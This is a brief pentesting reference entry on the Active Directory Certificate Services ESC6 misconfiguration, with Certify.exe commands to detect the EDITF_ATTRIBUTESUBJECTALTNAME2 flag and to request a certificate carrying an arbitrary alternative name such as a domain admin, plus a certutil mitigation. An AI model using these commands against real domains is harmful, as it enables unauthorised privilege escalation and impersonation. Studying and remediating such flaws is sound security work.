Active Directory - Certificate ESC6

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2#

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

Exploitation

• Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

  Certify.exe cas
  

• Request a certificate for a template and add an altname, even though the default User template doesn’t normally allow to specify alternative names

  .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
  

Mitigation

• Remove the flag: certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

References#

• AD CS: from ManageCA to RCE - February 11, 2022 - Pablo Martínez, Kurosh Dabbagh